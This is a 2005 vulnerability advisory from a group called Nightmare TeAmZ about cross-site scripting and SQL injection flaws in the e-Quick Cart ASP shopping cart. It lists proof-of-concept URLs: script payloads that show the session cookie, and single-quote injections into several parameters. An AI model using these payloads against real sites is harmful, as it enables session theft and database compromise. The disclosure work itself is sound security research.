eQuickSQLXSS.txt

`------------------------------------------------------  
Nightmare TeAmZ Advisory 016  
------------------------------------------------------  
Date - 11/2005  
e-Quick Cart Sql & Xss  
  
  
AFFECTED PRODUCTS  
=================  
e-Quick Cart  
http://www.cdmweb.com  
  
  
Xss Poof:  
========  
www.[host].com/[path]/shopgift.asp?strgifttoname="><script>alert(document.cookie);</script>  
www.[host].com/[path]/shopmaillist.asp?strfirstname="><script>alert(document.cookie);</script>  
www.[host].com/[path]/shopprojectlogin.asp?strpid="><script>alert(document.cookie);</script>  
www.[host].com/[path]/shoptellafriend.asp?Custname="><script>alert(document.cookie);</script>  
  
Sql Poof:  
========  
www.[host].com/[path]/shopaddtocart.asp?quantity=1&Order=Order&productid='  
www.[host].com/[path]/shopprojectlogin.asp?strpid=1&strpemail='  
www.[host].com/[path]/shoptellafriend.asp??id='  
  
  
Solution:  
=========  
No Solution At This Time  
  
  
Credits  
=======  
This vulnerability was discovered and researched by  
BiPi_HaCk of Nightmare TeAmZ  
We're: BiPi_HaCk - r3d_4Ss4ult3r - Sub_Z3r0  
Site: http://www.NightmareSecurity.net <--IT Security Forum  
  
_________________________________________________________________  
Comunica in tempo reale http://messenger.msn.com/beta  
`